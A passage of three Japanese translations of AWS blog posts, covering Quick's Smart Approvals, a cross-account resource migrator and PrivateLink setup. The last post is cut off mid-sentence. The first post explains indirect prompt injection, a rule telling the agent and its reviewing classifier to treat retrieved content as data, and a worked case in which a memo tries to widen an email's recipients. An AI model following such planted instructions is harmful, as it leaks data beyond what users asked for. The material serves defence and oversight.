本記事は 2026 年 11 月 4 日 に公開された「 Smart Approvals in AWS Quick: Human oversight where it matters 」を翻訳したものです。 AI エージェントが担う仕事が増えるなかで、セキュリティリーダーは人による監督をどう保てばよいのでしょうか。エージェントが取れるアクションは権限で決まりますが、許可されたアクションでも人の判断が必要な場合があります。すべての手順で承認を求めるのが最も安全に思えるかもしれません。しかし、複数の手順からなるタスクでは、定型的なアクションでも 確認を何度も求められる ことがあります。 セキュリティ警告に関する研究 では、警告が繰り返されると注意力や順守の度合いが下がることがあると示されています。求められるのは承認を増やすことではなく、人のレビューが必要な判断に注意力を残しておくことです。 AWS Quick の Smart Approvals は、既存の制御の範囲内で対象のアクションをレビューすることで、この課題に対処します。提案された各アクションをユーザーの依頼と照らし合わせて評価し、自動で承認するか、ユーザーに戻してレビューしてもらうかを決めます。その際、追加の権限を与えることも、必須になっている人の承認を省くこともありません。どのアクションを必ず人に回すかは、引き続きセキュリティリーダーが決められます。そのうえで Smart Approvals は、定型的な作業での不要な中断を減らすよう設計されています。 図 1: 対象になるかどうかはポリシーで決まる。Smart Approvals は対象のアクションを承認するか、ユーザーに戻してレビューを求める。ポリシーで拒否されたアクションはブロックされたまま 境界を決めるのはポリシー Quick は自動レビューの前に、提案された各アクションを Custom Permissions、Quick Guardrails、コネクタのアクション権限、ユーザーの設定と照らし合わせて評価します。拒否されたアクションは拒否されたままで、人の承認が必須のアクションも引き続き承認が必要です。Smart Approvals を有効にしている場合、アクションが対象になるのは、ユーザーの設定が「Ask each time」で、ほかに人による承認を求める制御がない場合のみです。コネクタのアクション権限はコネクタの作成時に設定するもので、特定のアクションに人の承認を必須にできます。 管理者は Custom Permissions で、誰が Smart Approvals を利用できるかを決めます。Smart Approvals はデフォルトでオンですが、 デフォルト拒否 を有効にしたプロファイルでは明示的に許可する必要があります。ユーザーが自分で Smart Approvals をオフにすることもできます。この選択は、会話にもスケジュール実行にも適用されます。オフにすると、本来なら自動レビューの対象になるアクションにもユーザーの承認が必要になります。管理者がアカウントレベルの設定で、そのユーザーの Smart Approvals を再びオンにすることはできません。 対象となるアクションのレビューのしくみ Smart Approvals は、分類器と呼ぶ別のモデルを利用し、対象のアクションを、ユーザーの依頼と、範囲を限った会話の内容に照らして評価します。分類器は、アクションが何をするか、データがどこに送られるか、誰に影響するかを考慮します。接続したソースから集めた人物と業務上のつながりを含む、ユーザーのナレッジグラフを参照することもできます。ナレッジグラフを利用すると、受信者がユーザーの指揮命令系統にいるかどうかなど、受信者とユーザーの関係を把握できます。ナレッジグラフの参照はお客様の Quick アカウント内で完結します。Quick は、ナレッジグラフのデータを含め、分類器がレビューした内容をモデルの学習やサービスの改善に利用しません。 依頼に合ったアクションでも、人によるレビューが必要な場合があります。たとえば、組織の外や、ユーザーの指揮命令系統にいる上級幹部に内容を送る、アクセス権を変更する、レコードを削除する、支払いを開始する、といったアクションです。挙げた例がすべてではなく、分類器は周辺の文脈も考慮します。アクションをユーザーの依頼と照らし合わせてレビューすることは、間接的なプロンプトインジェクションへの対策にもなります。間接的なプロンプトインジェクションとは、取得したコンテンツに含まれる指示でエージェントの行動を変えようとする攻撃です。Quick は、エージェントと分類器の両方に、そうしたコンテンツを指示ではなく情報として扱うよう指示しています。それでもモデルによるレビューは間違えることがあります。機密データを移すアクションなど、必ず人の承認が必要なアクションは、コネクタのアクション権限で承認を必須にしてください。 分類器は判断を担い、権限サービスは権限の適用を担います。自動承認はそれぞれ 1 回限りで、レビューされたアクションとパラメーターそのもののみに適用され、継続的な権限は与えません。Quick は会話の中で自動承認にラベルを付けます。分類器が承認しなかったアクションはユーザーに戻ります。タイムアウトなどのレビューの失敗も同じく戻り、自動承認になることはありません。こうした適用の境界によって、承認で許される範囲は限られます。ただし、境界があるからといって、分類器の判断が正しかったことまで保証されるわけではありません。 アクションが依頼を超えるとき あるアカウントマネージャーが Quick に、チームのアカウントメモと前四半期のメールをもとに、AnyCompany 向けに四半期ビジネスレビューの資料を作るよう頼みます。続けて、名前を挙げた 2 人の同僚にその資料を送るよう Quick に頼みます。送信が自動レビューの対象だとすると、Smart Approvals は提案された送信アクションを、アカウントマネージャーの依頼と、利用できる会話の内容に照らして評価します。 ここで、アカウントメモに、この資料を約 2,000 人の営業全員向けの配布リストにも送るべきだと書かれていたとします。そうなると、送信先が本人の指定した受信者を超えて広がります。そのため、Smart Approvals はこの送信アクションを本人に戻してレビューを求めるよう設計されており、本人はその時点で送信を取りやめることができます。元の受信者への送信の承認を、より広い送信先に使い回すことはできません。 監査の証跡と調査 Quick の権限サービスは、Smart Approvals に関連する権限の更新を、お客様のアカウントの AWS CloudTrail に記録します。各イベントには、ユーザー、コネクタ、アクション、時刻が含まれ、リクエストが Smart Approvals に関連するものだという印が付きます。この印は、権限サービスが付与を受け入れたことや、アクションが実行されたことを示すものではありません。Quick は、コネクタのアクション権限による拒否を含む権限チェックの判定結果と、ユーザーの Smart Approvals 設定の変更も記録します。 調査担当者は、これらのイベントをユーザーと時刻で突き合わせ、CloudTrail にあるほかの Quick のアクティビティや、 Amazon CloudWatch Logs に配信されるログと関連付けられます。チャットログには、ユーザーの依頼、システムの応答、会話の内容が記録されます。エージェントのメタデータログには、エージェントへの変更が記録されます。アクションが完了したかどうかは、送信したメールや更新したチケットなど、アクションの対象システム側の記録で確かめられます。これらを組み合わせると、承認を実行の証拠とみなすことなく、何が起きたかを再現できます。CloudTrail のイベント履歴が保持するのは 90 日分のイベントのみなので、より長い期間を調査する場合に備えて証跡を設定してください。チャットログには機密情報が含まれることがあるため、アクセスを制限し、CloudWatch Logs のデータ保護ポリシーで機密データをマスクすることも検討してください。 始め方 Smart Approvals はデフォルトでオンになっているため、まず人による承認が必要なアクションがコネクタのアクション権限で設定されているかを確認します。調査に備えて、CloudTrail の証跡と、チャットログとエージェントのメタデータログの CloudWatch Logs への配信を設定します。チャットログに記録されるのは配信を設定した後のアクティビティのみなので、それより前の承認には会話の内容が残りません。承認の要件とログの設定が済んだら、Custom Permissions で Smart Approvals の利用を、特定のワークフローに取り組むパイロットチームに絞ります。ほかのチームに広げるのはその後です。 パイロットの前に、成功の基準を決めておきます。基準は、定型的なアクションでは確認が減り、影響の大きいアクションは引き続き人に戻ってレビューされることです。パイロット中は自動承認の一部をサンプルとして確認し、組織の外に内容を送る、ドキュメントの記述をもとに受信者を追加する、といった影響の大きいケースをテストします。そうしたケースがユーザーに戻ってくることを確かめてください。また、チームが各アクションを承認から実行まで追跡できることも確かめてください。結果がこれらの基準を満たした場合にのみ、ほかのチームやワークフローに広げ、アクションやポリシーが変わったら見直します。 監督がうまく機能しているかは、エージェントが承認を求める回数ではなく、影響の大きい判断を人が握り続けているかで測ります。セキュリティリーダーにとって、Smart Approvals を広げる根拠はパイロットで得た証拠であるべきです。確認が減ることに価値があるのは、説明責任を弱めずに注意力を保てる場合です。 設定手順は、Quick ユーザーガイドのガバナンスのセクションにある Smart Approvals をご覧ください。 著者について Steve Vinsik Steve は AWS の Principal Product Manager で、AWS Quick のガバナンス、アイデンティティ、セキュリティを率いています。企業の CIO や CISO と直接連携し、アクセス権限、ガードレール、モデル管理、データ損失防止、オブザーバビリティなど、組織が AI エージェントを大規模に導入するために必要な制御を定義しています。Quick に参加する前は、AWS IAM Identity Center や AWS Builder ID を含む AWS Identity のプロダクトを率い、ローンチから数百万人のユーザー規模にまで成長させました。General Dynamics、Unisys、Safran で幹部を務めるなど、政府機関のお客様向けにミッションクリティカルなセキュリティプログラムを提供してきた 25 年以上の経験があります。 翻訳は Solutions Architect の 守田 凜々佳 が担当しました。

本記事は 2026 年 10 月 5 日 に公開された「 Making AWS Quick enterprise-ready: Automated, auditable cross-account resource promotion 」を翻訳したものです。 AWS Quick は、仕事のために作られた Amazon のエージェント型 AI アシスタントです。データをもとに推論し、アクションコネクタを呼び出し、複数ステップのタスクを最後まで実行するエージェントを構築できます。ただし、こうしたリソース (チャットエージェント、アクションコネクタ、ナレッジベース、フロー、スペース) を、他のアプリケーションと同じように開発用の AWS アカウントから本番用の AWS アカウントへ昇格（プロモーション）させる作業は、これまで手作業で、ミスも起きやすいものでした。本記事では、Amazon Bedrock AgentCore 上で動く、冪等で監査可能な Model Context Protocol (MCP) サーバーを利用して、昇格作業を自動化する方法を紹介します。 エージェント型ソリューションを構成する要素は、 エージェント、アクションコネクタ、ナレッジベース、スペース です。具体的には、カスタム指示を設定したチャットエージェント、Slack や Jira などと連携するコネクタ、自社のドキュメントに基づくナレッジベース、そしてそれらをまとめるスペースです。チームは開発アカウントでこれらを素早く組み立て、改善を重ねていきます。 多くの企業は、開発用と本番用に別々の AWS アカウントを運用しており、その間に品質保証 (QA) 用のアカウントを置くこともあります。開発アカウントでエージェント、アクションコネクタ、ナレッジベースを検証し終えても、それらを次のアカウントへワンクリックで昇格させるネイティブな手段はありません。そのため、チームは各リソースを手作業で作り直しています。同じ指示とスタータープロンプトで各エージェントを再作成し、エージェントごとにアクションコネクタを付け直し、リソースの権限を付与し直し、各ナレッジベースの裏側にある Amazon Simple Storage Service (Amazon S3) バケット、バケットポリシー、データソースを用意し直す必要があります。時間がかかるうえに監査しにくく、気づきにくい誤りも入り込みやすいため、企業に求められるガバナンスが損なわれます。 API で AWS Quick のリソースを管理する Quick のリソースはプログラムから操作できます。スペース、エージェント、アクションコネクタ、ナレッジベース、フローは Quick API ( AWS Quick Sight API の一部) で管理でき、作成・読み取り・更新・削除・一覧取得というリソースのライフサイクル全体に対応しています。指示とスタータープロンプトを持つエージェント、コネクタ、ナレッジベース、フローなど、ビジネスユーザーが Quick で設定したものは、権限も含めてすべてプログラムから確認、再作成、更新、管理できます。 プログラムから操作できるからこそ、ガバナンスを確保した昇格が可能になります。各リソースを手作業で作り直す代わりに、API でリソースとその権限を読み取り、別のアカウントにそのまま適用し直します。本記事で紹介する移行ツールは、作成・読み取り・更新・一覧取得の操作を組み合わせて 1 つの繰り返し実行できるワークフローにしています。移行先に対して削除は一切実行しないため、1 回の実行で行われるのは追加か更新のみです。 本記事では、Quick Resource Migrator を紹介します。Quick Resource Migrator は、Amazon Bedrock AgentCore の機能である Amazon Bedrock AgentCore Runtime 上で動くサンプルの MCP サーバーで、Quick リソースのアカウント間の昇格を 1 回のツール呼び出しで自動化します。リソース単位で動作し、リソースタイプ (エージェント、コネクタ、ナレッジベース、フロー、スペース) を選び、ID、名前、またはすべてを指定して対象を選択します。冪等なので何度実行しても安全です。また、移行元の権限を取得し、同じアクションを移行先で再現することで、権限を正確にコピーします。ソースコード一式は aws-samples リポジトリ で公開しています。 ソリューションの概要 移行ツールは、選んだリソース群を 1 回の呼び出しで昇格させます。動作はアップサートで、移行先にまだないリソースは作成し、すでにあるリソースはその場で更新します。更新の前には必ずバージョン付きのバックアップを Amazon S3 に書き込むため、各リソースの履歴をすべて残し、確認したり以前の状態に戻したりできます。読み取り専用のプレビューで、実行した場合に何が作成・更新されるかを事前に正確に確認できます。移行処理そのものは Amazon Bedrock AgentCore 上で動くため、Quick や任意の MCP 対応クライアントから操作できます。 移行される内容 選択モデル: リソースタイプ (エージェント、コネクタ、ナレッジベース、フロー、スペース) を選び、ID、名前、またはすべてを指定してリソースを選択します。選択はリソース単位です。リソースタイプを直接移行することも、スペースを移行して、スペースに紐づくリソースをまとめて移すこともできます。 チャットエージェント: カスタム指示、アイデンティティ、トーン、スタータープロンプト、ウェルカムメッセージを含めて再作成し、アクションコネクタも (移行先アカウントのものに対応付けて) 付け直します。スペースを移行すると、エージェントはスペースに自動で紐づけ直されます。 アクションコネクタ: 設定を含めて再作成します。シークレットの値を移行元から読み取ることはありません。コネクタは仮の認証情報で作成されるため、移行先で改めて認証を設定します。 ナレッジベース: 移行先アカウントにナレッジベースを登録し、データソースを再作成して、権限をコピーします。S3 をデータソースとするナレッジベースの場合は、移行先のバケットとそのバケットポリシーも作成します (移行の出力として別に報告されます)。ドキュメント (S3 オブジェクト) そのものはコピーされません。 フロー: 定義をもとに移行先アカウントで再作成します。フローの ID はアカウントごとに異なるため、フローは名前で照合します。移行先に同じ名前のフローがあれば更新し、なければ新しく作成します。フローの権限もコピーされます。 スペース: 移行先アカウントで再作成し、エージェント、コネクタ、ナレッジベースに紐づけ直します (リソースの Amazon リソースネーム (ARN) は移行先のものに対応付けます)。移行先の ARN を解決できるよう、紐づくリソースを先に移行してください。スペースの権限もコピーされます。 主な設計方針 リソース単位の選択。 移行は 1 回に 1 つのリソースタイプ (エージェント、コネクタ、ナレッジベース、フロー、スペース) ずつ行い、ID、名前、またはすべてで対象を選びます。エージェントはアクションコネクタを付け直した状態で再作成されます。スペースは再作成されたうえで、エージェント、コネクタ、ナレッジベースに紐づけ直され、ARN は移行先アカウントのものに対応付けられます。 権限の忠実な再現。 権限はハードコードしません。サーバーは移行元の各リソースに対して該当する Describe*Permissions API を呼び出し、まったく同じアクションのリストを移行先で適用します。その際、プリンシパルは移行先アカウントに登録されているユーザーに対応付けます。 冪等性。 すべてのリソースは「作成または更新」で処理します。サーバーはまず移行先の状態を取得し、作成するか更新するかを判断します。そのため、移行を再実行しても重複や失敗は起きず、同じ状態に収束します。 最小権限と分離。 移行元のロールは読み取り専用です。移行先のロールには、移行に必要なアクションのみを許可します。ランタイムは Amazon Cognito の JSON Web Token (JWT) で呼び出し元を認証し、Amazon Virtual Private Cloud (Amazon VPC) のネットワークモードで実行することもできます。 安全で元に戻せる更新。 移行先の既存リソースを更新する前に、そのリソースと依存リソースのバージョン付きスナップショットを専用のバックアップバケットに書き込みます。バックアップを書き込めない場合、更新は中止されます。作成・更新したリソースもすべてスナップショットを取得し、復元ツールでどのリソースも以前のバージョンに戻せます。 アーキテクチャ 本ソリューションは 3 つのアカウントで構成します。中央のランナーアカウントが、Amazon Bedrock AgentCore Runtime 上で MCP サーバーをホストします。サーバーは AWS Security Token Service (AWS STS) を利用して、移行元アカウントでは読み取り専用ロール、移行先アカウントでは読み書きロールを引き受けるため、長期的な認証情報をどこにも保存しません。 図 1: Quick Resource Migrator MCP サーバーのアーキテクチャ 各コンポーネントの役割 コンポーネント 役割 AgentCore Runtime (ランナーアカウント) MCP サーバー ( server.py ) をホストします。移行元と移行先のアカウントのロールを引き受け、移行全体を制御します。Cognito JWT オーソライザーを利用し、VPC ネットワークモードで動作します。 Amazon Cognito (ランナーアカウント) ユーザープール、リソースサーバー、マシン間 (M2M) 通信用のアプリクライアントです。呼び出し元が AgentCore に提示する JWT (クライアント認証情報グラント、スコープは invoke ) を発行します。 ランナー実行ロール AgentCore の実行ロールです。Amazon CloudWatch Logs、テレメトリ、移行元と移行先のロールへの sts:AssumeRole を許可します。 移行用ロール (移行元アカウント) 読み取り専用の Quick Sight の describe/list 権限と、ナレッジベースの読み取り権限です。 移行用ロール (移行先アカウント) 読み書き可能な Quick Sight の create/update 権限、ナレッジベースと S3 への書き込み権限、プリンシパルの解決に使用する ListUsers の権限です。 バックアップバケット (ランナーアカウント) 移行先リソースの更新前スナップショットと移行後スナップショットをバージョン付きで保存する、暗号化された S3 バケットです。ランタイムが直接書き込み、復元時にはここから読み取ります。省略可能です (未設定の場合は無効)。 表 1: アーキテクチャのコンポーネント 移行の流れ リソースの特定: リソースタイプとセレクター (ID、名前、またはすべて) から、移行元アカウントの具体的なリソース ID を特定します。 移行元の取得: 選択した各リソースの設定と権限を取得します。 コネクタ: 各コネクタを再作成します。認証設定は作成 (書き込み) 用のモデルに合わせて整え、シークレットは仮の値にしたうえで作成するため、移行先で改めて認証を設定します。権限もコピーします。 ナレッジベース: 移行先のバケット ( knowledge-base-<env>-<account> )、バケットポリシー、データソース、ナレッジベースを作成し、ナレッジベースの権限をコピーします。S3 オブジェクトはコピーしません。 エージェント: 各エージェントを、(移行先アカウントのものに対応付けた) アクションコネクタを付けた状態で再作成し、エージェントの権限をコピーします。エージェントとスペースの紐づけは、スペースそのものを移行したときに復元されます (スペースの手順を参照)。 フロー: 各フローを定義から再作成します。フローの ID はアカウントごとに異なるため、名前で照合します。移行先に同じ名前のフローがあれば更新し、なければ新しく作成したうえで、フローの権限をコピーします。 スペース: 各スペースを再作成し、ARN を移行先アカウントのものに対応付けて、エージェント、コネクタ、ナレッジベースに紐づけ直します (これらのリソースを先に移行しておきます)。その後、スペースの権限をコピーします。 レポート: 作成・更新したリソース、バケット、バックアップ、スキップした権限、エラーをまとめた JSON レポートを返します。 MCP サーバーが提供するツール サーバーは 5 つのツールを提供しており、すべて server.py で定義されています。 preview_migration (読み取り専用) preview_migration は、移行元のアカウント ID、リソースタイプ (エージェント、コネクタ、ナレッジベース、フロー、スペース、またはすべて)、セレクター (ID、名前、またはすべて)、AWS リージョンを受け取ります。変更は一切加えずに、移行対象となるエージェント、アクションコネクタ、ナレッジベース、フローの一覧を名前とタイプ付きで返します。ドライランとして対象範囲を確かめたり、昇格前の変更管理の承認手順に利用したりできます。移行先のアカウント ID も渡すと、各リソースを CREATE または UPDATE で示した移行元と移行先の対応表が応答に加わるため、移行を実行する前に何が変わるかを正確に確認できます。 migrate_resources (移行の実行) migrate_resources は、移行元と移行先のアカウント ID、リソースタイプ (エージェント、コネクタ、ナレッジベース、フロー、スペース)、セレクター (ID、名前、またはすべて)、リージョン、移行元と移行先の環境名 (ナレッジベースのバケット名に使用)、Quick Sight のサービスロール名を受け取ります。前述の「作成または更新」の移行を一通り実行し、作成・更新・付与したものすべてとエラーをまとめた構造化レポートを返します。冪等なので、たとえばリリースのたびに繰り返し実行しても、移行先は同じ状態に収束します。 list_backups (読み取り専用) list_backups はバックアップのカタログを検索し、アセットごとに利用できるバージョンを一覧表示します。バックアップは、移行ツールが更新前にバックアップバケットへ書き込むスナップショットで、更新 1 回につき 1 つのバージョン付きオブジェクトとして保存されるため、移行したリソースの履歴をすべて確認できます。 get_backup (読み取り専用) get_backup は、指定したアセットとバージョン (既定では最新) について、保存されているバックアップ全体を返します。取得したリソースの設定と依存リソースも含まれます。 restore_backup restore_backup は、保存されているバックアップのバージョンを移行先のリソースに適用し直します。リソースはその場で更新され、存在しない場合は再作成されます。復元の前に新しいバックアップを取得するため、元に戻す操作そのものも取り消せます。 ソリューションのデプロイ ソースコード一式と詳しいデプロイ手順は、 aws-samples リポジトリ の README にあります。大まかには、アカウント間で使用する AWS Identity and Access Management (IAM) ロール、VPC ネットワーク、MCP サーバーをホストする Cognito 認証付きの AgentCore Runtime という 3 つの AWS CloudFormation スタックをデプロイし、AgentCore Runtime を Quick にアクションコネクタとして登録します。 Quick App から移行ツールを利用する ランタイムをアクションコネクタとして登録すると、Quick から自然言語で移行ツールを操作できます。さらに、同じ MCP ツールの上にクリック操作で利用できる Web 画面を重ねた Quick App も構築できます。UI を手で作る必要はありません。リポジトリにはすぐに利用できる アプリビルダー用のプロンプト が含まれており、Quick のアプリビルダーに貼り付け、プレースホルダーのコネクタ ID とアクション ID を自分のものに置き換えるとアプリが生成されます。アプリでは、移行元と移行先のアカウントと昇格するリソースを選択し、作成・更新される内容をプレビューし、移行を実行し、過去のすべての移行履歴を確認する、という流れを画面の案内に沿って進められます。各履歴は、サーバーが書き込んだバージョン付きの S3 スナップショットに裏付けられています。以下の画面で、その操作を紹介します。 Quick App の例 アプリはプロンプトから生成されるため、ビルドするたびに内容が変わります。以下はその一例です。この例では、ランディングページで Source Account ID、Target Account ID、リソースタイプ (エージェント、コネクタ、ナレッジベース、フロー、スペース)、セレクター (ID、名前、またはすべて) を入力します。必要に応じて追加のオプションも指定できます。 図 3: ランディングページで指定できる追加の移行オプション Confirm & migrate を選択すると、次のような応答が表示されます。 図 4: Confirm and migrate を選択したあとの確認の応答 確認して移行を実行すると、作成・更新されたリソースの一覧が MCP サーバーから返ってきます。 図 5: 作成または更新されたリソースを一覧表示する MCP サーバーの応答 History タブを開くと、過去のすべての移行を確認できます。各エントリは、移行ツールが Amazon S3 に書き込んだバージョン付きのスナップショットに裏付けられているため、何をいつ昇格したかを監査できる完全な記録が残り、以前のバージョンを確認することもできます。 図 6: 過去の移行を監査できる記録として表示する History タブ 元に戻すには、リソースのバックアップのバージョンを選択し、 Restore を選択します。アプリが保存済みのバージョンを移行先に適用し直します。復元の前に新しいバックアップを取得するため、元に戻す操作そのものも取り消せます。 図 7: リソースを以前のバックアップのバージョンに戻す まとめ アカウント間の昇格は、エンタープライズ向けソフトウェアでは当然求められる機能ですが、Quick ではこれまで欠けていました。Quick Resource Migrator を利用することで、時間がかかり監査もしにくかった手作業を、すばやく繰り返し実行でき、ガバナンスも確保できる作業へと変えることができます。1 回のツール呼び出しで、エージェント、コネクタ、ナレッジベースを移行先アカウントに再作成し、権限も正確にコピーします。すべて冪等に動作するため、リリースのたびに実行できます。 サンプルリポジトリ をクローンしてランナーアカウントにデプロイし、エージェントやナレッジベースを開発環境から本番環境へ昇格させてみてください。そのうえで、自社のガバナンスやセキュリティ強化の要件に合わせて構成を調整してください。 著者について Keshav Ganesh AWS の AI & Cloud Solutions Engineer で、エージェント型システム、DevOps、プラットフォームエンジニアリングを専門としています。お客様や組織と協力して、エージェント型 AI (自ら推論して行動し、ツールを利用する自律型エージェント) と、それを動かすスケーラブルなクラウドプラットフォームの設計と運用を支援し、チームが概念実証からエンタープライズ規模の本番環境へ安全に移行できるようにしています。新しいエージェント型のパターンを、実用的で安全なエンタープライズ対応のソリューションにすることに情熱を注いでいます。 Vineet Kachhawaha AWS の Sr. Worldwide Agentic AI Solution Architect で、AWS Quick を担当しています。エンタープライズのお客様やパートナーと密に連携し、AI を活用したソリューションの設計、デプロイ、拡張を支援しています。AWS for Legal Tech の取り組みを共同で主導し、法務・コンプライアンス部門が AI/ML を活用してビジネス価値を生み出せるよう支援した経験もあります。エージェント型 AI ソリューションを作ったり試したりするのが好きで、生涯学び続けることを信条としています。AWS のイベントや業界カンファレンスで定期的に登壇し、生成 AI とエージェント型アーキテクチャに関する知見を共有しています。 翻訳は Solutions Architect の 守田 凜々佳 が担当しました。

本記事は 2026 年 10 月 21 日 に公開された「 Securing Quick access from corporate networks with AWS PrivateLink 」を翻訳したものです。 AWS Quick の AI エージェントやダッシュボードは、ほぼあらゆるデータソースに問い合わせできます。しかし、企業のデータが社内ファイアウォールの内側やプライベートなオンプレミスのデータセンターにある場合、AWS からそこへ直接つながるネットワーク経路はありません。管理者は、機密性の高い企業データをパブリックインターネットにさらさずに、AI による分析やアクションに利用できるようにする必要があります。 多くの企業にとって、パブリックインターネット経由でトラフィックを流すことは許容できないリスクです。HIPAA、FedRAMP、PCI-DSS などの規制の枠組みでは、機密データを管理されたネットワーク境界の中にとどめるよう求められることがよくあります。コンプライアンスが主な理由でない場合でも、社内のデータ経路を外部にさらすと攻撃対象領域が広がり、監査証跡が複雑になります。レイテンシーも不安定になり、ユーザー体験が悪くなるおそれがあります。 本記事では、トラフィックがパブリックインターネットを通らないように、オンプレミスのデータソースを Quick にプライベートに接続する手順を説明します。前提として、オンプレミス環境と Amazon Virtual Private Cloud (Amazon VPC) が AWS Direct Connect または AWS Site-to-Site VPN ですでにつながっているものとします。その上に AWS PrivateLink による VPC エンドポイントを構成し、Quick が AWS のバックボーンを通じてプライベートなリソースに到達できるようにします。さらに、多層防御としてセキュリティグループと VPC エンドポイントポリシーを重ねます。 最終的に、Quick とオンプレミスのデータソースの間のトラフィックがパブリックインターネットを通らないネットワークアーキテクチャができあがります。攻撃対象領域を減らし、低レイテンシーで安定した接続を実現し、コンプライアンスのための明確な監査証跡も得られます。 AWS Quick とプライベートネットワーク接続の確立 Quick は、検索、分析、調査、自動化を 1 つの対話型の体験にまとめた、AI を活用したワークスペースです。以降で説明するアーキテクチャは、どのコンポーネントがどのようにプライベートネットワークに到達するかによって決まります。 Quick のデータアクセスには 2 つの経路があります。 ユーザー向けのトラフィック は、Quick コンソールを開く、ダッシュボードを操作する、API を呼び出す、Quick Desktop を利用するといった操作によるトラフィックです。こうしたトラフィックはすべて VPC エンドポイントを経由するため (「ユーザーアクセスと API アクセス用の VPC エンドポイント」を参照)、ユーザーのセッションはパブリックインターネットを通りません。 データ取得のトラフィック は、Quick 自身がネットワークに入ってデータを取得するときのトラフィックです。このトラフィックは VPC 接続が処理します (「データソースアクセス用の VPC 接続」を参照)。アーキテクチャ上の判断が必要になるのは、主にこの経路です。データ取得の接続を開始する機能と統合は次のとおりです。 AWS Quick Sight は、VPC 内に配置した Elastic Network Interface (ENI) を通じて、オンプレミスのデータベース (PostgreSQL、MySQL、SQL Server、Oracle など) に直接クエリを実行します。VPC 接続を最も多く利用するのが Quick Sight です。 Quick Flows と Quick Automate は、それぞれ別の自動化機能です。Flows は繰り返しのタスクを処理し、Automate は人の確認を挟む (human-in-the-loop)、複数のシステムにまたがる複雑なオーケストレーションを処理します。どちらもアクションコネクタを呼び出し、その中には VPC 内でプライベートにホストされている Model Context Protocol (MCP) サーバーも含まれます。社内 API を呼び出すワークフローは、すべてこの経路を通ります。 Quick Agents はすべての対話的な操作の土台であり、アクションコネクタを直接呼び出せます。カスタムエージェントがプライベートにホストされた MCP サーバーや社内 API を呼び出すと、トラフィックは VPC 接続を通ります。 Quick Index は、Confluence、SharePoint、Amazon Simple Storage Service (Amazon S3) などの接続済みソースをまたぐ統合された検索レイヤーを作ります。VPC 内やオンプレミスにあるデータについて、ナレッジベースの VPC 接続が現在サポートしているのは Amazon Redshift のみです。Confluence、SharePoint、Box、Google Drive、OneDrive、Amazon S3 などのソースは、現時点では Quick の VPC 接続を利用できません (「 Supported VPC data sources 」を参照)。なお、バケットポリシーで Amazon S3 バケットへのアクセスを VPC エンドポイントに制限することはできますが、これは VPC 接続とは別の仕組みです。 Quick Research は、出典付きのレポートを作るために、パブリックインターネットのデータとあわせてファイアウォールの内側にある企業のソースにもアクセスします。プライベートなソースにアクセスするときは VPC 接続を利用します。 Quick のアプリ は、構造化データとアクションコネクタの上にインタラクティブな Web アプリケーションを作ります。Quick Sight や Flows と同じ VPC 接続を引き継ぎます。 Quick のスペース は、ここまでの機能のコンテンツを整理するもので、独自にデータ接続を開始することはありません。 2 つのトラフィック経路には、それぞれ別のプライベート接続の仕組みが必要で、両者は連携して動きます。 VPC エンドポイント (AWS PrivateLink): Quick の Web サイトへのアクセス、API 呼び出し、管理アクセスなど、ユーザー向けのトラフィックを処理します。ユーザーのトラフィックがパブリックインターネットを通らないようにします。 VPC 接続: データソースのトラフィックを処理します。Quick は VPC (さらにその先のオンプレミスネットワーク) に入り、データベース、Amazon Redshift のナレッジベースのソース、社内 API からデータを取得します。VPC 接続は Quick コンソールで設定します。 プライベート接続を設定する このセクションでは、4 つの構成要素を順に説明します。ユーザーアクセスと API アクセス用の VPC エンドポイント、データソースアクセス用の VPC 接続、AWS のデータサービス用の VPC エンドポイント、必要な外部ドメインへのアウトバウンドアクセスです。 前提条件 Quick のプライベート接続を設定する前に、次のものがそろっていることを確認してください。 Quick Enterprise サブスクリプションがある有効な AWS アカウント (VPC 接続には Enterprise エディションが必要です)。 Quick をデプロイした AWS リージョンにある既存の VPC。 サポートされている AWS リージョン。Quick の Web サイト用 VPC エンドポイントは、AWS 中国リージョンと AWS GovCloud (US) リージョンでは利用できません。 オンプレミスネットワークと VPC の間に確立した AWS Direct Connect 接続または Site-to-Site VPN。データセンターから AWS へトラフィックを運ぶプライベートな経路です。 VPC エンドポイントとセキュリティグループの作成・管理、および Quick の管理に必要な AWS Identity and Access Management (IAM) 権限。VPC 接続を作成するには、管理者の IAM アイデンティティに quicksight:CreateVPCConnection 、 quicksight:DescribeVPCConnection 、 quicksight:ListVPCConnections 、 quicksight:UpdateVPCConnection 、 quicksight:DeleteVPCConnection 、 ec2:DescribeSubnets 、 ec2:DescribeVpcs 、 ec2:DescribeSecurityGroups 、 iam:ListRoles と、VPC 接続の実行ロールに範囲を絞った iam:PassRole も必要です。 組織の DNS 管理（Amazon Route 53 のプライベートホストゾーンまたはオンプレミスの DNS フォワーダー）へのアクセス。プライベート DNS の名前解決によって、トラフィックはパブリックアドレスではなく VPC エンドポイントを通るようになります。 ユーザーアクセスと API アクセス用の VPC エンドポイント (AWS PrivateLink) PrivateLink による VPC エンドポイントは、Web サイト、API 呼び出し、埋め込みコンテンツなど、Quick へのユーザー向けトラフィックをすべて処理します。ユーザーはパブリックインターネットを通らずに Quick コンソールにアクセスできます。 図 1: VPC エンドポイントを通じた、企業のデータセンターから Quick へのプライベートアクセス 図 1 の流れは次のとおりです。(1) 社内ネットワークのクライアントが Quick にリクエストを送ります。(2) リクエストは AWS Direct Connect を通り、Direct Connect ゲートウェイを経由して VPC に入ります。(3) Quick の VPC エンドポイントがエンドポイントポリシーを評価し、リクエストを許可または拒否します。(4) 許可されたリクエストは AWS のネットワークを通って Quick に届きます。 VPC エンドポイントのアーキテクチャを計画する エンドポイントのアーキテクチャを計画するときは、まず Quick アカウントをデプロイした AWS リージョンを確認します。VPC エンドポイントは同じリージョンに置く必要があるからです。エンドポイントの ENI を配置するサブネットは複数のアベイラビリティーゾーンから選び、そのサブネットから Direct Connect または VPN を通じてオンプレミスネットワークへのルートがあることを確認します。 エンドポイントの ENI のトラフィックを、必要なポートと送信元の範囲のみに制限するセキュリティグループを設計します。Quick が Amazon S3、Amazon Redshift、Amazon Athena に対して行う呼び出しも含め、すべてのトラフィックをプライベートに流したい場合は、それらのサービスの VPC エンドポイントも計画します (「データソース用の VPC エンドポイントを設定する」を参照)。 Quick の VPC エンドポイントを作成する Quick へ完全にプライベートにアクセスするには、2 つのインターフェイス VPC エンドポイントが必要です。 Web サイトアクセス用エンドポイント – サービス名は com.amazonaws.<region>.quicksight-website です。Quick コンソールへのユーザートラフィックの大部分を処理します。Quick の Web サイトのプライベート DNS 名はパブリック URL と異なるため、VPC エンドポイントを指す <region>.quicksight.aws.amazon.com の A レコードを作成する必要があります。 API アクセス用エンドポイント – サービス名は 